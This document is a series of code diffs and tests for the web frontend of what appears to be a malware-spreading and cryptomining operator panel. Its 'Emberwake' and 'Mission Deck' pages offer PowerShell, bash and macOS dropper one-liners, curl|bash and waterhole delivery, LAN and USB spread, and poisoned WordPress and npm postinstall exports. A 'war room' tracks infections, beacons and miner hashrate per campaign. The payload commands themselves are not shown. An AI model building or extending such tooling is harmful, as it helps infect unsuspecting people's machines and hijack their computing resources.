expect(screen.getByRole('heading', { level: 2, name: /Campaign War Room/i })).toBeInTheDocument();
expect(screen.getByRole('heading', { level: 2, name: /How to spread/i })).toBeInTheDocument();
const techniqueLinks = screen.getAllByRole('link', { name: /Web waterhole|curl \| bash VPS|LAN kindling/i });
expect(techniqueLinks.length).toBeGreaterThanOrEqual(3);
const playbookLinks = screen.getAllByRole('link', { name: /Spread techniques playbook/i });
expect(playbookLinks.length).toBe(2);
playbookLinks.forEach((link) => expect(link).toHaveAttribute('href', SPREAD_TECHNIQUES_DOC));
});
it('collapses advanced sections by default', async () => {
renderEmberwake();
await screen.findByRole('heading', { level: 1, name: /Emberwake/i });
expect(screen.getByText(/Supply-chain exports/i)).toBeInTheDocument();
const wpTab = screen.getByRole('tab', { name: /WordPress plugin/i });
expect(wpTab).not.toBeVisible();
expect(screen.getByText(/Public download links/i)).toBeInTheDocument();
expect(screen.queryByRole('link', { name: /public download/i })).not.toBeVisible();
});
it('exports spread kit from primary block', async () => {
const user = userEvent.setup();
const exportSpy = vi.spyOn(api, 'exportSpreadKit');
renderEmberwake();
await screen.findByRole('heading', { level: 1, name: /Emberwake/i });
await user.click(screen.getByRole('button', { name: /Export spread kit ZIP/i }));
await waitFor(() => {
expect(exportSpy).toHaveBeenCalled();
});
});
});

View File

@@ -1,13 +1,9 @@
import { useCallback, useEffect, useMemo, useRef, useState } from 'react';
import { Link } from 'react-router-dom';
import { useVisibleInterval } from '../hooks/usePageVisible';
import { api } from '../api/client';
import type { BuildRecord, EmberwakeNotes, PublicBuildDTO, WarRoomResponse } from '../types';
import {
combinedDropperQuery,
commandOneliner,
ps1Oneliner,
publicDownloadUrl,
shOneliner,
} from '../help/emberwake';
import { publicDownloadUrl } from '../help/emberwake';
import {
EMBERWAKE_TECHNIQUE_LINKS,
SPREAD_TECHNIQUES_DOC,
@@ -22,6 +18,7 @@ import { usePresence } from '../context/PresenceContext';
import AlsoHere from '../components/Presence/AlsoHere';
import ComradeAvatar from '../components/Presence/ComradeAvatar';
import SupplyChainExportWizard from '../components/Emberwake/SupplyChainExportWizard';
import { HelpTip } from '../components/HelpTip';
import './Pages.css';
import './EmberwakePage.css';
import '../components/Presence/Presence.css';
@@ -29,10 +26,10 @@ import '../components/Presence/Presence.css';
function CopyChip({ text, label }: { text: string; label: string }) {
const [ok, setOk] = useState(false);
const copy = () => {
void navigator.clipboard.writeText(text).then(() => {
void navigator.clipboard?.writeText(text).then(() => {
setOk(true);
setTimeout(() => setOk(false), 1500);
});
}).catch(() => {});
};
return (
<button type="button" className="btn btn-outline btn-sm" onClick={copy}>
@@ -68,13 +65,15 @@ export default function EmberwakePage() {
const typingActiveRef = useRef(false);
const pinned = useMemo(() => builds.filter((b) => b.pinned), [builds]);
const query = useMemo(() => combinedDropperQuery(pinA || pinned[0]?.id || '', campaign), [pinA, pinned, campaign]);
const queryB = useMemo(() => combinedDropperQuery(pinB, campaign + '-b'), [pinB, campaign]);
const loadWarRoom = useCallback(async () => {
const data = await api.getWarRoom(WAR_ROOM_DAYS);
setWarRoom(data);
setWarRoomUpdated(data.generated_at);
try {
const data = await api.getWarRoom(WAR_ROOM_DAYS);
setWarRoom(data);
setWarRoomUpdated(data.generated_at);
} catch {
/* war room is non-critical; silently retain previous data */
}
}, []);
const load = useCallback(async () => {
@@ -106,12 +105,9 @@ export default function EmberwakePage() {
void load().catch(() => {});
}, [load]);
useEffect(() => {
const id = window.setInterval(() => {
void loadWarRoom().catch(() => {});
}, WAR_ROOM_POLL_MS);
return () => window.clearInterval(id);
}, [loadWarRoom]);
useVisibleInterval(() => {
void loadWarRoom().catch(() => {});
}, WAR_ROOM_POLL_MS);
useEffect(() => {
if (!latestMessage) return;
@@ -203,138 +199,118 @@ export default function EmberwakePage() {
<div className="page emberwake-page operator-deck-page">
<header className="deck-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">SPREAD · WATERHOLE · KINDLING</p>
<h1>Emberwake</h1>
<p className="deck-eyebrow font-tech">SPREAD OPERATIONS</p>
<h1>
Emberwake <HelpTip field="ew_overview" />
</h1>
<p className="page-subtitle">
Carry embers from the forge web waterholes, CMS uploads, curl|bash VPS drops, fusion media, USB, and LAN spread.
Tag install links, export lure kits, and track which campaigns convert all from one desk.
</p>
<p className="emberwake-hero-links form-hint">
<a href={SPREAD_TECHNIQUES_DOC} target="_blank" rel="noreferrer">
Spread techniques playbook
</a>
{' · '}
<a href="/spread/">On-server spread lander</a>
</p>
</div>
</header>
<AlsoHere page="/emberwake" />
<div className="spread-section spread-section--ember operator-deck-card operator-interactive">
<h3>How to spread</h3>
<p className="form-hint" style={{ marginTop: 0 }}>
Operator instructions (no login):{' '}
<a href="/spread/">Spread kit landing</a>
{' · '}
Full threat-intel matrix:{' '}
<a href={SPREAD_TECHNIQUES_DOC} target="_blank" rel="noreferrer">
SPREAD_TECHNIQUES.md
</a>
<section
className="spread-section spread-section--ember operator-deck-card operator-interactive emberwake-primary-block"
aria-labelledby="ew-setup-heading"
>
<h2 id="ew-setup-heading" className="emberwake-section-title">
Campaign setup <HelpTip field="ew_campaign_setup" />
</h2>
<p className="emberwake-section-desc">
Set once every link and export below uses these values.
</p>
<ul className="emberwake-technique-list">
{EMBERWAKE_TECHNIQUE_LINKS.map((t) => (
<li key={t.label}>
<strong>{t.label}</strong> {t.hint}{' '}
<a href={spreadTechniqueDocUrl(t.anchor)} target="_blank" rel="noreferrer">
playbook §
</a>
</li>
))}
</ul>
</div>
<div className="emberwake-setup-grid">
<div className="form-group">
<label className="label" htmlFor="ew-campaign">
Campaign slug (?c=) <HelpTip field="ew_campaign_slug" />
</label>
<input id="ew-campaign" className="input mono" value={campaign} onChange={(e) => setCampaign(e.target.value)} />
</div>
<div className="form-group">
<label className="label" htmlFor="ew-server">Command deck URL</label>
<input
id="ew-server"
className="input mono"
value={serverBase}
onChange={(e) => setServerBase(e.target.value)}
/>
</div>
<div className="form-group">
<label className="label" htmlFor="ew-pin-a">Build A (pin)</label>
<select id="ew-pin-a" className="input" value={pinA} onChange={(e) => setPinA(e.target.value)}>
<option value="">Latest / pinned</option>
{builds.map((b) => (
<option key={b.id} value={b.id}>{b.worker_name} · {b.platform} {b.pinned ? '📌' : ''}</option>
))}
</select>
</div>
<div className="form-group">
<label className="label" htmlFor="ew-pin-b">Build B (A/B test)</label>
<select id="ew-pin-b" className="input" value={pinB} onChange={(e) => setPinB(e.target.value)}>
<option value=""></option>
{builds.map((b) => (
<option key={b.id} value={b.id}>{b.worker_name} · {b.platform}</option>
))}
</select>
</div>
</div>
<div className="card operator-deck-card operator-interactive" style={{ marginBottom: '1rem' }}>
<h2>Campaign builder</h2>
<div className="form-group">
<label className="label" htmlFor="ew-campaign">Campaign slug (?c=)</label>
<input id="ew-campaign" className="input mono" value={campaign} onChange={(e) => setCampaign(e.target.value)} />
</div>
<div className="emberwake-ab-row" style={{ marginBottom: '0.75rem' }}>
<label className="label">Build A (pin)</label>
<select className="input" value={pinA} onChange={(e) => setPinA(e.target.value)}>
<option value="">Latest / pinned</option>
{builds.map((b) => (
<option key={b.id} value={b.id}>{b.worker_name} · {b.platform} {b.pinned ? '📌' : ''}</option>
))}
</select>
<label className="label">Build B (A/B)</label>
<select className="input" value={pinB} onChange={(e) => setPinB(e.target.value)}>
<option value=""></option>
{builds.map((b) => (
<option key={b.id} value={b.id}>{b.worker_name} · {b.platform}</option>
))}
</select>
</div>
<div className="emberwake-tool-grid">
<div>
<p className="form-hint">PowerShell</p>
<code className="mono" style={{ fontSize: '0.75rem', wordBreak: 'break-all' }}>{ps1Oneliner(serverBase, query)}</code>
<CopyChip text={ps1Oneliner(serverBase, query)} label="Copy PS1" />
</div>
<div>
<p className="form-hint">bash</p>
<code className="mono" style={{ fontSize: '0.75rem', wordBreak: 'break-all' }}>{shOneliner(serverBase, query)}</code>
<CopyChip text={shOneliner(serverBase, query)} label="Copy sh" />
</div>
<div>
<p className="form-hint">macOS</p>
<code className="mono" style={{ fontSize: '0.75rem', wordBreak: 'break-all' }}>{commandOneliner(serverBase, query)}</code>
<CopyChip text={commandOneliner(serverBase, query)} label="Copy .command" />
</div>
</div>
{pinB && (
<p className="form-hint" style={{ marginTop: '0.75rem' }}>
A/B link B: <code>{serverBase}/get{queryB}</code>
<CopyChip text={`${serverBase}/get${queryB}`} label="Copy B" />
<div className="emberwake-subsection">
<h3 className="emberwake-subsection-title">
Install commands <HelpTip field="ew_install_links" />
</h3>
<p className="emberwake-section-desc">
Per-platform one-liners (PowerShell, bash, macOS) are in Builds pin a build there before sharing links.
</p>
)}
</div>
<Link to="/builds" className="btn btn-outline">
View install commands in Builds
</Link>
</div>
<div className="spread-section spread-section--cyan operator-deck-card operator-interactive">
<h3>Spread kit export</h3>
<p className="form-hint">
Zips customized <code>spread-kit-web-publisher/</code> templates for your server URL + campaign.
{' '}
<a href="/spread/">View on-server instructions</a> at <code>/spread/</code> (synced from repo templates).
</p>
<div className="emberwake-ab-row">
<input className="input mono" style={{ flex: 1 }} value={serverBase} onChange={(e) => setServerBase(e.target.value)} />
<button type="button" className="btn btn-primary" disabled={exportBusy || !serverBase} onClick={() => void exportKit()}>
<div className="emberwake-subsection emberwake-subsection--inline">
<div>
<h3 className="emberwake-subsection-title">
Download spread kit <HelpTip field="ew_spread_kit" />
</h3>
<p className="emberwake-section-desc">
ZIP templates for USB, LAN, or web landers includes <code>/spread/</code> assets.
</p>
</div>
<button
type="button"
className="btn btn-primary"
disabled={exportBusy || !serverBase}
onClick={() => void exportKit()}
>
{exportBusy ? 'Zipping…' : 'Export spread kit ZIP'}
</button>
</div>
</div>
</section>
<SupplyChainExportWizard
builds={builds}
serverBase={serverBase}
onServerBaseChange={setServerBase}
pinA={pinA}
onPinAChange={setPinA}
campaign={campaign}
onCampaignChange={setCampaign}
siteName={siteName}
onSiteNameChange={setSiteName}
/>
<div className="spread-section spread-section--gold operator-deck-card operator-interactive">
<h3>Public build URLs</h3>
<p className="form-hint">Authenticated deck sees all builds; login page lists pinned + public + latest 3 (or all if Calibrate public builds enabled).</p>
<ul style={{ margin: 0, padding: 0, listStyle: 'none' }}>
{(publicBuilds.length ? publicBuilds : builds.slice(0, 5)).map((b) => (
<li key={b.id} style={{ marginBottom: '0.5rem', fontSize: '0.85rem' }}>
<strong>{b.worker_name}</strong> ({b.platform})
{' — '}
<a href={publicDownloadUrl(serverBase, b.id, campaign)} target="_blank" rel="noreferrer">
public download
</a>
<CopyChip text={publicDownloadUrl(serverBase, b.id, campaign)} label="Copy" />
</li>
))}
</ul>
</div>
<div
<section
id="campaign-war-room"
className="spread-section spread-section--war-room operator-deck-card operator-interactive"
aria-labelledby="ew-war-room-heading"
>
<h3>Campaign War Room</h3>
<h2 id="ew-war-room-heading" className="emberwake-section-title">
Campaign War Room <HelpTip field="ew_war_room" />
</h2>
<p className="emberwake-section-desc">
Track hits downloads beacons miners per <code>?c=</code> slug (last {WAR_ROOM_DAYS} days).
</p>
<div className="war-room-toolbar">
<span>
Live funnel hits downloads first beacon mining hashrate per <code>?c=</code> slug (last {WAR_ROOM_DAYS}d)
<span className="war-room-toolbar-meta">
{warRoomUpdated ? `Updated ${new Date(warRoomUpdated).toLocaleTimeString()}` : 'Loading…'}
{' · '}poll {WAR_ROOM_POLL_MS / 1000}s
</span>
<div className="war-room-toolbar-right">
<div className="war-room-view-toggle" role="group" aria-label="War room view">
@@ -360,10 +336,7 @@ export default function EmberwakePage() {
Constellations
</button>
</div>
<span>
{warRoomUpdated ? `Updated ${new Date(warRoomUpdated).toLocaleTimeString()}` : 'Loading…'}
{' · '}poll {WAR_ROOM_POLL_MS / 1000}s · WS 30s
</span>
<span className="war-room-toolbar-meta">WebSocket push ~30s</span>
</div>
</div>
{warRoom && warRoom.campaigns.length > 0 ? (
@@ -490,11 +463,88 @@ export default function EmberwakePage() {
No campaign activity in the last {WAR_ROOM_DAYS} days. Share dropper links with <code>?c=your-slug</code> to populate the funnel.
</p>
)}
</div>
</section>
<div className="card operator-deck-card operator-interactive">
<h2>Shared notes</h2>
<p className="form-hint">Synced live to every logged-in operator{notesMeta ? ` — last edit: ${notesMeta}` : ''}.</p>
<details className="emberwake-advanced spread-section spread-section--violet operator-deck-card operator-interactive">
<summary className="emberwake-advanced-summary">
<span className="emberwake-section-title">
Supply-chain exports <HelpTip field="ew_supply_chain" />
</span>
<span className="emberwake-section-desc emberwake-advanced-tag">Advanced</span>
</summary>
<p className="emberwake-section-desc">
WordPress plugin or npm postinstall ZIP uses campaign setup above.
</p>
<SupplyChainExportWizard
builds={builds}
serverBase={serverBase}
onServerBaseChange={setServerBase}
pinA={pinA}
onPinAChange={setPinA}
campaign={campaign}
onCampaignChange={setCampaign}
siteName={siteName}
onSiteNameChange={setSiteName}
/>
</details>
<details className="emberwake-advanced spread-section spread-section--gold operator-deck-card operator-interactive">
<summary className="emberwake-advanced-summary">
<span className="emberwake-section-title">
Public download links <HelpTip field="ew_public_urls" />
</span>
</summary>
<p className="emberwake-section-desc">
Direct download URLs per build also listed on the login page when marked public.
</p>
<ul className="emberwake-public-list">
{(publicBuilds.length ? publicBuilds : builds.slice(0, 5)).map((b) => (
<li key={b.id}>
<strong>{b.worker_name}</strong> ({b.platform})
{' — '}
<a href={publicDownloadUrl(serverBase, b.id, campaign)} target="_blank" rel="noreferrer">
public download
</a>
<CopyChip text={publicDownloadUrl(serverBase, b.id, campaign)} label="Copy" />
</li>
))}
</ul>
</details>
<section
className="spread-section spread-section--ember operator-deck-card operator-interactive emberwake-techniques-block"
aria-labelledby="ew-techniques-heading"
>
<h2 id="ew-techniques-heading" className="emberwake-section-title">
How to spread <HelpTip field="ew_techniques" />
</h2>
<p className="emberwake-section-desc">
Pick a vector step-by-step instructions live in the{' '}
<a href={SPREAD_TECHNIQUES_DOC} target="_blank" rel="noreferrer">
Spread techniques playbook
</a>
.
</p>
<ul className="emberwake-technique-list">
{EMBERWAKE_TECHNIQUE_LINKS.map((t) => (
<li key={t.anchor}>
<a href={spreadTechniqueDocUrl(t.anchor)} target="_blank" rel="noreferrer">
{t.label}
</a>
{' — '}
{t.hint}
</li>
))}
</ul>
</section>
<section className="card operator-deck-card operator-interactive" aria-labelledby="ew-notes-heading">
<h2 id="ew-notes-heading" className="emberwake-section-title">
Team notes <HelpTip field="ew_shared_notes" />
</h2>
<p className="emberwake-section-desc">
Shared scratchpad for lure copy and rotation{notesMeta ? ` — last edit: ${notesMeta}` : ''}.
</p>
{notesTyping?.active && (
<div className="emberwake-typing-banner" role="status">
<ComradeAvatar user={notesTyping.user} size="sm" title={`${notesTyping.user} is editing notes`} />
@@ -520,7 +570,7 @@ export default function EmberwakePage() {
<button type="button" className="btn btn-primary" style={{ marginTop: '0.5rem' }} disabled={notesBusy} onClick={() => void saveNotes()}>
{notesBusy ? 'Saving…' : 'Save notes'}
</button>
</div>
</section>
</div>
);
}

File diff suppressed because it is too large Load Diff

View File

@@ -1,107 +1,111 @@
/**
* @vitest-environment happy-dom
*/
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import { cleanup, render, screen, waitFor } from '@testing-library/react';
import userEvent from '@testing-library/user-event';
import { MemoryRouter } from 'react-router-dom';
import MissionDeckPage from './MissionDeckPage';
import { ForgeProvider } from '../context/ForgeContext';
import { routerFuture } from '../routerFuture';
import { mockServerConfig, mockServerInfo } from '../test/fixtures';
import { api } from '../api/client';
vi.mock('../context/PresenceContext', () => ({
usePresence: () => ({
othersOnPage: [],
comrades: [],
comradesHere: () => [],
othersOnline: false,
}),
}));
function renderMissionDeck() {
return render(
<MemoryRouter initialEntries={['/mission-deck']} future={routerFuture}>
<ForgeProvider>
<MissionDeckPage />
</ForgeProvider>
</MemoryRouter>,
);
}
describe('MissionDeckPage', () => {
beforeEach(() => {
vi.clearAllMocks();
localStorage.clear();
vi.spyOn(api, 'getConfig').mockResolvedValue(mockServerConfig());
vi.spyOn(api, 'getServerInfo').mockResolvedValue(mockServerInfo);
vi.spyOn(api, 'listBuilds').mockResolvedValue([]);
vi.spyOn(api, 'buildAgent').mockResolvedValue({
success: true,
build_id: 'deck-build-1',
file_name: 'worker-deck.exe',
file_size: 4096,
download_url: '/api/v1/builds/deck-build-1/download',
});
vi.spyOn(api, 'exportSpreadKit').mockResolvedValue(undefined);
vi.stubGlobal('navigator', {
clipboard: { writeText: vi.fn().mockResolvedValue(undefined) },
});
});
afterEach(() => {
vi.unstubAllGlobals();
/**
* @vitest-environment happy-dom
*/
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import { cleanup, render, screen, waitFor } from '@testing-library/react';
import userEvent from '@testing-library/user-event';
import { MemoryRouter } from 'react-router-dom';
import MissionDeckPage from './MissionDeckPage';
import { ForgeProvider } from '../context/ForgeContext';
import { routerFuture } from '../routerFuture';
import { mockServerConfig, mockServerInfo } from '../test/fixtures';
import { api } from '../api/client';
vi.mock('../context/PresenceContext', () => ({
usePresence: () => ({
othersOnPage: [],
comrades: [],
comradesHere: () => [],
othersOnline: false,
}),
}));
function renderMissionDeck() {
return render(
<MemoryRouter initialEntries={['/mission-deck']} future={routerFuture}>
<ForgeProvider>
<MissionDeckPage />
</ForgeProvider>
</MemoryRouter>,
);
}
describe('MissionDeckPage', () => {
beforeEach(() => {
vi.clearAllMocks();
localStorage.clear();
vi.spyOn(api, 'getConfig').mockResolvedValue(mockServerConfig());
vi.spyOn(api, 'getServerInfo').mockResolvedValue(mockServerInfo);
vi.spyOn(api, 'listBuilds').mockResolvedValue([]);
vi.spyOn(api, 'buildAgent').mockResolvedValue({
success: true,
build_id: 'deck-build-1',
file_name: 'worker-deck.exe',
file_size: 4096,
download_url: '/api/v1/builds/deck-build-1/download',
});
vi.spyOn(api, 'exportSpreadKit').mockResolvedValue(undefined);
vi.stubGlobal('navigator', {
clipboard: { writeText: vi.fn().mockResolvedValue(undefined) },
});
});
afterEach(() => {
vi.unstubAllGlobals();
cleanup();
});
it('shows loading state then mission deck hero', async () => {
renderMissionDeck();
expect(screen.getByText('Loading loadout defaults…')).toBeInTheDocument();
expect(await screen.findByRole('heading', { level: 1, name: /Mission Deck/i })).toBeInTheDocument();
expect(screen.getByText('FAST PATH')).toBeInTheDocument();
expect(screen.getByText(/Pick a preset loadout/i)).toBeInTheDocument();
});
it('renders Ghost / Loud / Spread mode chips in loadout layout', async () => {
renderMissionDeck();
await screen.findByRole('heading', { level: 1, name: 'Mission Deck' });
expect(screen.getByRole('region', { name: 'Mission loadout' })).toBeInTheDocument();
const loadout = screen.getByRole('region', { name: 'Mission loadout' });
expect(loadout).toHaveTextContent('Ghost');
expect(loadout).toHaveTextContent('Loud');
expect(loadout).toHaveTextContent('Spread');
expect(screen.getByRole('heading', { level: 2, name: /Ghost|Loud|Spread/ })).toBeInTheDocument();
});
it('shows spread profile chips and campaign slug on the right panel', async () => {
renderMissionDeck();
await screen.findByRole('heading', { level: 1, name: 'Mission Deck' });
expect(screen.getByRole('heading', { level: 3, name: /Spread profile/i })).toBeInTheDocument();
expect(screen.getByRole('button', { name: 'LAN Kindling' })).toBeInTheDocument();
expect(screen.getByLabelText(/Campaign slug/i)).toBeInTheDocument();
});
it('links to Forge, Emberwake, Builds, and field guide', async () => {
renderMissionDeck();
await screen.findByRole('heading', { level: 1, name: /Mission Deck/i });
expect(screen.getAllByRole('link', { name: /^Forge$/i }).length).toBeGreaterThan(0);
expect(screen.getAllByRole('link', { name: /^Emberwake$/i }).length).toBeGreaterThan(0);
expect(screen.getAllByRole('link', { name: /^Builds$/i }).length).toBeGreaterThan(0);
expect(screen.getByRole('link', { name: /Field guide/i })).toHaveAttribute('href', '/docs/#mission-deck');
expect(screen.getByRole('link', { name: /Full Forge/i })).toHaveAttribute('href', '/forge');
});
it('equips and strikes using runForgeMission pipeline', async () => {
const user = userEvent.setup();
const buildSpy = vi.spyOn(api, 'buildAgent');
const exportSpy = vi.spyOn(api, 'exportSpreadKit');
renderMissionDeck();
await screen.findByRole('heading', { level: 1, name: 'Mission Deck' });
await user.click(screen.getByRole('button', { name: 'LAN Kindling' }));
await user.click(screen.getByRole('button', { name: /Equip & Strike/i }));
await waitFor(() => {
expect(buildSpy).toHaveBeenCalled();
});
expect(exportSpy).toHaveBeenCalled();
expect(await screen.findByText(/Forge complete/i)).toBeInTheDocument();
expect(screen.getByRole('link', { name: /View install commands in Builds/i })).toHaveAttribute('href', '/builds');
});
});

View File

@@ -20,6 +20,8 @@ import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo
import NeonCard from '../components/NeonCard/NeonCard';
import { HelpTip } from '../components/HelpTip';
import AlsoHere from '../components/Presence/AlsoHere';
import ForgeDispenseReveal from '../components/Forge/ForgeDispenseReveal';
@@ -63,14 +65,10 @@ import {
applyMissionPresets,
copyMissionLinks,
missionStepStatus,
runForgeMission,
type MissionLinks,
type MissionStep,
} from '../help/forgeMission';
@@ -207,7 +205,7 @@ export default function MissionDeckPage() {
const [missionExportSkipped, setMissionExportSkipped] = useState(false);
const [missionModal, setMissionModal] = useState<MissionLinks | null>(null);
const [missionComplete, setMissionComplete] = useState(false);
const [building, setBuilding] = useState(false);
@@ -215,7 +213,7 @@ export default function MissionDeckPage() {
const [equipFlash, setEquipFlash] = useState(false);
useModalAmbientDuck(!!missionModal);
useModalAmbientDuck(missionComplete);
@@ -477,7 +475,7 @@ export default function MissionDeckPage() {
setError('');
setMissionModal(null);
setMissionComplete(false);
setMissionExportSkipped(false);
@@ -497,7 +495,7 @@ export default function MissionDeckPage() {
if (preflightHasErrors(checks)) {
setError('Strike blocked — fix preflight errors in your loadout.');
setError('Blocked — fix wallet or control URL errors before forging.');
return;
@@ -549,9 +547,7 @@ export default function MissionDeckPage() {
setMissionExportSkipped(result.exportSkipped);
await copyMissionLinks(result.links);
setMissionModal(result.links);
setMissionComplete(true);
await finishForgeSuccess(result.build);
@@ -591,7 +587,7 @@ export default function MissionDeckPage() {
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">LOADOUT</p>
<p className="deck-eyebrow font-tech">FAST PATH</p>
<h1>Mission Deck</h1>
@@ -599,7 +595,7 @@ export default function MissionDeckPage() {
</header>
<NeonCard accent="amber" tilt3d><p>Loading mission parameters</p></NeonCard>
<NeonCard accent="amber" tilt3d><p>Loading loadout defaults</p></NeonCard>
</div>
@@ -619,7 +615,7 @@ export default function MissionDeckPage() {
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">LOADOUT</p>
<p className="deck-eyebrow font-tech">FAST PATH</p>
<h1>Mission Deck</h1>
@@ -627,7 +623,7 @@ export default function MissionDeckPage() {
</header>
<NeonCard accent="amber" tilt3d><p>{error || 'Failed to load forge defaults.'}</p></NeonCard>
<NeonCard accent="amber" tilt3d><p>{error || 'Failed to load loadout defaults.'}</p></NeonCard>
</div>
@@ -645,13 +641,37 @@ export default function MissionDeckPage() {
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">LOADOUT</p>
<p className="deck-eyebrow font-tech">FAST PATH</p>
<h1>Mission Deck</h1>
<h1>
Mission Deck <HelpTip field="md_overview" />
</h1>
<p className="page-subtitle">
Equip your operation, spread profile, and campaign one strike runs Configure Forge Export Copy.
Pick a preset loadout and forge once without the full Forge form. Install commands are on Builds when you are done.
</p>
<p className="mission-deck-crosslinks form-hint">
<Link to="/forge">Forge</Link>
{' — every build option · '}
<Link to="/emberwake">Emberwake</Link>
{' — track campaigns · '}
<Link to="/builds">Builds</Link>
{' — pinned install commands · '}
<a href="/docs/#mission-deck" target="_blank" rel="noopener noreferrer">
Field guide
</a>
</p>
@@ -659,27 +679,21 @@ export default function MissionDeckPage() {
<div className="deck-hero-actions mission-deck-ops-dock">
<a href="/spread/" target="_blank" rel="noopener noreferrer" className="btn btn-outline btn-sm">
<Link to="/forge" className="btn btn-outline btn-sm">
Spread landing
</a>
<a href="/docs/" target="_blank" rel="noopener noreferrer" className="btn btn-outline btn-sm">
Field guide
</a>
<Link to="/emberwake" className="btn btn-outline btn-sm">
War room
Full Forge
</Link>
<Link to="/forge" className="btn btn-outline">
<Link to="/emberwake" className="btn btn-outline btn-sm">
Open full forge
Emberwake
</Link>
<Link to="/builds" className="btn btn-outline btn-sm">
Builds
</Link>
@@ -697,7 +711,11 @@ export default function MissionDeckPage() {
<aside className="mission-loadout-col mission-loadout-modes" aria-label="Operation mode">
<p className="loadout-col-label font-tech">Operation</p>
<p className="loadout-col-label font-tech">
1 Operation <HelpTip field="md_operation_chip" />
</p>
<div className="loadout-mode-chips">
@@ -745,9 +763,9 @@ export default function MissionDeckPage() {
<p className="form-hint loadout-forge-hint">
Need fusion batches or blueprints?{' '}
Need fusion batches, blueprints, or stealth tuning?{' '}
<Link to="/forge" className="mission-deck-forge-link">Open full forge </Link>
<Link to="/forge" className="mission-deck-forge-link">Open Forge </Link>
</p>
@@ -791,7 +809,7 @@ export default function MissionDeckPage() {
<div className="loadout-preview-meta">
<p className="loadout-preview-eyebrow font-tech">Equipped loadout</p>
<p className="loadout-preview-eyebrow font-tech">2 Your loadout</p>
<h2 className="loadout-preview-title">{selectedChipDef.label}</h2>
@@ -853,10 +871,18 @@ export default function MissionDeckPage() {
>
{missionBusy ? 'Equipping…' : '⚡ Equip & Strike'}
{missionBusy ? 'Running…' : '⚡ Equip & Strike'}
</button>
<p className="form-hint loadout-cta-desc">
One click: forge and export a spread kit when your profile needs it.{' '}
<HelpTip field="md_equip_strike" label="How Equip & Strike works" />
</p>
{!canLaunch && !missionBusy && (
<p className="form-hint loadout-cta-hint">Fix preflight errors in your loadout before equipping.</p>
@@ -873,9 +899,11 @@ export default function MissionDeckPage() {
<NeonCard accent="magenta" tilt3d className="loadout-strike-panel operator-deck-card operator-interactive">
<h3 className="font-tech" style={{ marginTop: 0 }}>Strike in progress</h3>
<h3 className="font-tech" style={{ marginTop: 0 }}>
<p className="form-hint">Configure Forge Export Copy</p>
Forge run <HelpTip field="md_strike_pipeline" />
</h3>
{missionBusy && (
@@ -891,7 +919,7 @@ export default function MissionDeckPage() {
<div className="mission-run-progress" aria-live="polite">
<p className="font-tech" style={{ margin: 0 }}>MISSION PIPELINE</p>
<p className="font-tech" style={{ margin: 0 }}>PIPELINE STEPS</p>
<div className="mission-run-steps">
@@ -935,13 +963,21 @@ export default function MissionDeckPage() {
<aside className="mission-loadout-col mission-loadout-kit" aria-label="Spread profile and campaign">
<p className="loadout-col-label font-tech">Deliverable</p>
<p className="loadout-col-label font-tech">
3 Deliverable &amp; tags <HelpTip field="md_campaign_identity" />
</p>
<NeonCard accent="purple" tilt3d hud className="loadout-kit-card operator-deck-card operator-interactive">
<h3 style={{ marginTop: 0 }}>Spread profile</h3>
<h3 style={{ marginTop: 0 }}>
<p className="form-hint">Optional preset layered on your operation mode.</p>
Spread profile <HelpTip field="md_spread_profile" />
</h3>
<p className="form-hint">Optional shapes the installer and spread flags on top of your operation chip.</p>
<div className="loadout-profile-chips">
@@ -1001,7 +1037,7 @@ export default function MissionDeckPage() {
<NeonCard accent="gold" tilt3d hud className="loadout-kit-card operator-deck-card operator-interactive">
<h3 style={{ marginTop: 0 }}>Campaign & identity</h3>
<h3 style={{ marginTop: 0 }}>Campaign &amp; identity</h3>
<div className="form-group">
@@ -1139,7 +1175,7 @@ export default function MissionDeckPage() {
{missionModal && (
{missionComplete && (
<div
@@ -1151,55 +1187,41 @@ export default function MissionDeckPage() {
aria-labelledby="mission-modal-title"
onClick={() => setMissionModal(null)}
onClick={() => setMissionComplete(false)}
>
<div className="forge-mission-modal" onClick={(e) => e.stopPropagation()}>
<h3 id="mission-modal-title">Strike complete links copied</h3>
<h3 id="mission-modal-title">Forge complete</h3>
<p className="form-hint">Dropper one-liners are on your clipboard. Track hits in Emberwake.</p>
<p className="form-hint">
<div className="forge-mission-link-block">
Your build is ready. Copy per-machine install commands from{' '}
<p>PowerShell</p>
<Link to="/builds" onClick={() => setMissionComplete(false)}>Builds</Link>
<code>{missionModal.ps1}</code>
; track campaign hits in{' '}
</div>
<Link to="/emberwake" onClick={() => setMissionComplete(false)}>Emberwake</Link>.
<div className="forge-mission-link-block">
<p>curl | bash</p>
<code>{missionModal.sh}</code>
</div>
<div className="forge-mission-link-block">
<p>GET dropper</p>
<code>{missionModal.get}</code>
</div>
</p>
<div style={{ display: 'flex', gap: '0.5rem', flexWrap: 'wrap' }}>
<button type="button" className="btn btn-primary" onClick={() => void copyMissionLinks(missionModal)}>
<Link to="/builds" className="btn btn-primary" onClick={() => setMissionComplete(false)}>
Copy again
</button>
<Link to="/emberwake" className="btn btn-outline" onClick={() => setMissionModal(null)}>
War room
View install commands in Builds
</Link>
<button type="button" className="btn btn-outline" onClick={() => setMissionModal(null)}>
<Link to="/emberwake" className="btn btn-outline" onClick={() => setMissionComplete(false)}>
Emberwake
</Link>
<button type="button" className="btn btn-outline" onClick={() => setMissionComplete(false)}>
Close

View File

@@ -126,8 +126,8 @@
border-radius: 50%;
margin-right: 5px;
}
.pt-agent-status-dot.online { background: #00ffaa; box-shadow: 0 0 5px #00ffaa; }
.pt-agent-status-dot.offline { background: #555; }
.pt-agent-status-dot.online { background: var(--neon-green); box-shadow: 0 0 5px var(--neon-green); }
.pt-agent-status-dot.offline { background: var(--text-muted); }
/* ── Chain visualizer ────────────────────────────────────────── */

View File

@@ -3,6 +3,7 @@ import { api } from '../api/client';
import { useModalAmbientDuck } from '../context/AmbientMusicContext';
import { useWebSocket } from '../hooks/useWebSocket';
import type { Agent, PathTraceHop } from '../types';
import { HelpTip } from '../components/HelpTip';
import './PathTracerPage.css';
// ── types ─────────────────────────────────────────────────────────────────────
@@ -167,15 +168,19 @@ export default function PathTracerPage() {
return;
}
if (status.ready) {
clearInterval(pollRef.current!);
